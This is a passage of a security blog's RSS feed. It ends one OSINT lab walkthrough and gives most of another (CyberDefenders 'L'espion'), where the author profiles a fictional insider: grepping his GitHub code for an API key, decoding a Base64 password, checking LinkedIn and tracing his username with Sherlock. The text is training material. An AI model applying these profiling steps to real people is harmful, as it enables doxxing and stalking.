filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;200px&#34; data-flex-grow=&#34;83&#34; height=&#34;464&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/860e7f653a9680ab12624adb98e8e455_MD5.png&#34; width=&#34;387&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://lh3.googleusercontent.com/p/AF1QipNh2CwcZ6pJ-T7mVb5pzXYZvs1fHkCnsL5Pa4vz=s680-w680-h510&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks to some user content, we can finally confirm that we found the same Pterodactyl! Since I went through the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_dinosaur_parks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wikipedia&lt;/a&gt; list, we know what state this park is in already!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1321px&#34; data-flex-grow=&#34;550&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-intel101-blue-team-lab-walkthrough/5f84ebe5e588001ceca291154c310001_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Whew! Excellent job with the investigation! We made it through the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/intel101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Intel101 Blue Team Lab&lt;/strong&gt;&lt;/a&gt; and successfully uncovered the public data we were looking for.&lt;/p&gt;&#xA;&lt;p&gt;To wrap this up, thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for the challenging (and sometimes frustrating) lab and the opportunity to practice &lt;em&gt;OSINT analysis.&lt;/em&gt; The research process using &lt;em&gt;Google&lt;/em&gt; and &lt;em&gt;The Wayback Machine&lt;/em&gt; was really engaging and kept me thinking creatively while exploring the breadth of exposure that a user might have online and how difficult it is for data to truly be removed.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;CyberDefenders:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/what-is-open-source-intelligence/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/blog/what-is-open-source-intelligence/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DomainTools Whois:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://whois.domaintools.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://whois.domaintools.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Google:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.google.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.google.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Better Business Bureau:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.bbb.org/us/ga/dublin/profile/cable-tv/charter-spectrum-0743-45535&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.bbb.org/us/ga/dublin/profile/cable-tv/charter-spectrum-0743-45535&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (Charter Communications):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Charter_Communications&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Charter_Communications&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Graham Cluley:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://grahamcluley.com/uk-cabinet-zoom-meeting/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://grahamcluley.com/uk-cabinet-zoom-meeting/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Champlain College:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.champlain.edu/about-champlain/consumer-information-and-disclosures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.champlain.edu/about-champlain/consumer-information-and-disclosures&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Internet Archive Wayback Machine:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://web.archive.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://web.archive.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bing:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.bing.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.bing.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Google Lens:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://lens.google.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://lens.google.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Yandex:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://yandex.com/images/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://yandex.com/images/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (Pteranodon):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Pteranodon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Pteranodon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (List of Dinosaur Parks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_dinosaur_parks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/List_of_dinosaur_parks&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders —  L’espion Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 28 Apr 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/5b1844e51e16f15903e3ddb6e0745d54_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders —  L’espion Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefendersorg--lespion-blue-team-lab-walkthrough&#34;&gt;CyberDefenders.org — L&amp;rsquo;espion Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;osint-investigation-with-google-andsherlock&#34;&gt;OSINT investigation with Google and Sherlock&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;406px&#34; data-flex-grow=&#34;169&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/5b1844e51e16f15903e3ddb6e0745d54_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered about using passive &lt;strong&gt;&lt;em&gt;Open-Source Intelligence (OSINT)&lt;/em&gt;&lt;/strong&gt; to investigate a potentially malicious insider? Well we&amp;rsquo;re about to do just that by tackling the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;L&amp;rsquo;espion Blue Team Lab&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a threat intelligence challenge requiring us defenders to investigate and incident using passive &lt;em&gt;open-source intelligence&lt;/em&gt; (&lt;em&gt;OSINT&lt;/em&gt;) to determine the details of the attacker&amp;rsquo;s identity.&lt;/p&gt;&#xA;&lt;p&gt;Now what is &lt;em&gt;OSINT&lt;/em&gt; anyway? According to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/what-is-open-source-intelligence/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS Institute&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Open-Source Intelligence (OSINT) is defined as intelligence produced by collecting, evaluating and analyzing publicly available information with the purpose of answering a specific intelligence question.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn about &lt;em&gt;OSINT&lt;/em&gt; or are just looking for a reference walkthrough for the &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;L&amp;rsquo;espion Blue Team Lab&lt;/strong&gt;&lt;/a&gt; , you&amp;rsquo;ve stumbled on the right spot. In the spirit of learning, I will not be revealing any flags, but I encourage you to follow along during your own investigation and reference this post if you get stuck.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, let&amp;rsquo;s have some fun!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/lespion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You, as a soc analyst, have been tasked by a client whose network was compromised and brought offline to investigate the incident and determine the attacker&amp;rsquo;s identity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Incident responders and digital forensic investigators are currently on the scene and have conducted a preliminary investigation. Their findings show that the attack originated from a single user account, probably, an insider.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Investigate the incident, find the insider, and uncover the attack actions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Tools&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.google.com/maps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google Maps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.google.com/imghp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google Image search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first — It&amp;rsquo;s always a good idea when working with lab/challenge files from &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;em&gt;(or any lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine. For example, I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-file---githubtxt-what-is-the-api-key-the-insider-added-to-his-github-repositories&#34;&gt;Question 1: File -&amp;gt; Github.txt: What is the API key the insider added to his GitHub repositories?&#xA;&lt;/h3&gt;&lt;p&gt;All right let&amp;rsquo;s dive right in and extract the challenge file!&lt;/p&gt;&#xA;&lt;p&gt;Once we extract the challenge file, we&amp;rsquo;ll have a few pieces of evidence to review. &lt;strong&gt;Question 1&lt;/strong&gt; is pointing us to the &lt;em&gt;Github.txt&lt;/em&gt; so let&amp;rsquo;s open it up and see what&amp;rsquo;s inside!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;830px&#34; data-flex-grow=&#34;346&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/fd9faf648bd9b35d224f8d433be93cca_MD5.png&#34; width=&#34;637&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have a &lt;em&gt;GitHub&lt;/em&gt; URL to examine, so let&amp;rsquo;s start there, check out the page, and then navigate to the &lt;em&gt;Repositories&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;463px&#34; data-flex-grow=&#34;193&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/f25f6669cf09e283397fba8095ac993f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are quite a few forked &lt;em&gt;repositories&lt;/em&gt; from other, well-known cybersecurity projects but the top one sticks out as a working repository.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;884px&#34; data-flex-grow=&#34;368&#34; height=&#34;217&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/0e1aaa58a455ce3c2e07885b6615921c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we are in the repository, we have a couple of options — we can either browse the code from our browser or examine it locally. For this challenge, let&amp;rsquo;s clone this repository so that we can examine the &lt;em&gt;JavaScript&lt;/em&gt; (.js) files and scan them for secrets within &lt;em&gt;REMnux.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;git clone &lt;a class=&#34;link&#34; href=&#34;https://github.com/EMarseille99/Project-Build---Custom-Login-Page.git&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/EMarseille99/Project-Build---Custom-Login-Page.git&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start simple and utilize the &lt;em&gt;strings&lt;/em&gt; command so that we can search the code without executing it. To help narrow the results, let&amp;rsquo;s &lt;em&gt;grep&lt;/em&gt; the output and filter only for a specific string. Since we are looking for an &lt;strong&gt;API Key&lt;/strong&gt;, we can just _grep&amp;quot;API&amp;quot;&#xA;— we&amp;rsquo;ll use the &lt;em&gt;-i&lt;/em&gt; to ignore case sensitivity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5189px&#34; data-flex-grow=&#34;2162&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/79a41ffc2844c581118df6ff67d7e9b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lucky for us, we found an exposed &lt;em&gt;API key&lt;/em&gt; in the code. Let&amp;rsquo;s submit the answer to check our work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1351px&#34; data-flex-grow=&#34;563&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/733542c4c99413b28ef7e4a096500c61_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-file---githubtxt-what-is-the-plaintext-password-the-insider-added-to-his-github-repositories&#34;&gt;Question 2: File -&amp;gt; Github.txt: What is the plaintext password the insider added to his GitHub repositories?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 2,&lt;/strong&gt; we&amp;rsquo;ll try the same approach that we did to locate the &lt;em&gt;API Key.&lt;/em&gt; This time, we&amp;rsquo;ll _s_earch for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Password&amp;quot;&#xA;instead of &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;API&amp;quot;&#xA;to look for the credential.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/317dfee3649afa3689e04695da9bc3a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we found a couple of strings; let&amp;rsquo;s focus on the bottom two. It looks like we have a complex password string; either the user machine-generated their password or we are looking at some sort of encoding. Fortunately, the last string says &lt;em&gt;Base64&lt;/em&gt;, this gives us a clue that the string might be encoded with &lt;em&gt;Base64&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s verify this and see if we can take the password string and convert it from &lt;em&gt;Base64&lt;/em&gt; encoding.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll just jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; since it&amp;rsquo;s already built-in to REMnux (the o&lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;nline version&lt;/a&gt; works, too). Then, we&amp;rsquo;ll copy the string and apply the &amp;quot; # &amp;ldquo;From Base64&amp;quot;operator to the recipe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;750px&#34; data-flex-grow=&#34;312&#34; height=&#34;256&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/ffb559eea6e3450dbfc753483cef73f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voila! We confirmed that the password string was Base64 encoded, and we can move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1335px&#34; data-flex-grow=&#34;556&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/52b35f6ba5bbd8362cf0c4b9b5c2a7a5_MD5.png&#34; width=&#34;779&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-file---githubtxt-what-cryptocurrency-mining-tool-did-the-insideruse&#34;&gt;Question 3: File -&amp;gt; Github.txt: What cryptocurrency mining tool did the insider use?&#xA;&lt;/h3&gt;&lt;p&gt;This time, we will return to the user&amp;rsquo;s &lt;em&gt;GitHub repositories&lt;/em&gt; to see if they have any cryptocurrency mining repositories forked. We&amp;rsquo;ll take the path of least resistance and use our browser&amp;rsquo;s &lt;em&gt;find&lt;/em&gt; function and search &amp;quot; # &amp;ldquo;miner&amp;quot;to locate the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/cd3cec352f6efe38e5ad322c8238559f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1344px&#34; data-flex-grow=&#34;560&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/f763331c7512b4810aa9b7d958436f81_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-university-did-the-insider-goto&#34;&gt;Question 4: What university did the insider go to?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s pivot and move over to utilizing a search engine to find out more information about the insider. We&amp;rsquo;ll do a quick &lt;em&gt;Google&lt;/em&gt; search for the username that we found on &lt;em&gt;GitHub —&lt;/em&gt; &lt;strong&gt;EMarseille99&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re looking for professional information, let&amp;rsquo;s focus on checking &lt;em&gt;LinkedIn&lt;/em&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;292px&#34; data-flex-grow=&#34;121&#34; height=&#34;657&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/ecdcab1a428990abd71b4b9fd3630ad2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The profile picture and job title are a match, so we can be confident that we have discovered the the right profile. More importantly for the scope of this challenge, the user has their university listed!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1350px&#34; data-flex-grow=&#34;562&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/e8d5784b8a18c719e8ec2b5a7021f5fe_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-gaming-website-the-insider-had-an-accounton&#34;&gt;Question 5: What gaming website the insider had an account on?&#xA;&lt;/h3&gt;&lt;p&gt;From the &lt;em&gt;Google&lt;/em&gt; search in the previous question, I didn&amp;rsquo;t see any clear information that pointed us to a gaming website. So let&amp;rsquo;s try to expand our search scope a bit by utilizing one of the tools suggested in the challenge scenario — &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sherlock&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;According to the project&amp;rsquo;s &lt;em&gt;GitHub&lt;/em&gt; page, &lt;em&gt;Sherlock&lt;/em&gt; is a tool used to:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Hunt down social media accounts by username across &lt;a class=&#34;link&#34; href=&#34;https://github.com/sherlock-project/sherlock/blob/master/sites.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;social networks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;After following the installation instructions, we&amp;rsquo;ll enter the username and see what open-source intelligence the tool can locate about the target:&lt;/p&gt;&#xA;&lt;p&gt;python3 sherlock EMarseille99&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-lespion-blue-team-lab-walkthrough/7cafa80338a17765f1fa7bee2d0973ad_MD5.png&#34; width=&#34;792&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Sherlock results&lt;/p&gt;&#xA;&lt;p&gt;Okay, let&amp;rsquo;s review the output from 